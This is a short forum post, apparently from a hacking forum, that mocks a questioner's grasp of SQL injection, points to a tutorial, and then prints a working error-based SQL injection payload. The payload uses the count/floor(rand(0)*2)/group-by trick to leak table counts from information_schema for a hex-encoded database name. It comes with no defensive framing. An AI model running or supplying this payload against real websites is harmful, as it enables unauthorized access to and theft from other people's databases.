Do you really understand how SQLi works? Do you even know SQL? And how it is like accessing to any website with its correspondent logging?
If so, well, you will know the answer to your question. If not, go and learn. Ande made a nice tut about SQLi. There are a lot of basic manuals of SQL, use google.
Also

Code: [Select]

(select 1 from
  (select count(*),
  concat(
    (select
      (select
        (select concat(0x7e,0x27,count(table_name),0x27,0x7e) from `information_schema`.tables where table_schema=0x6F63696D)
    ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x
    from `information_schema`.tables group by x)a) and 1=1
Ohmy.
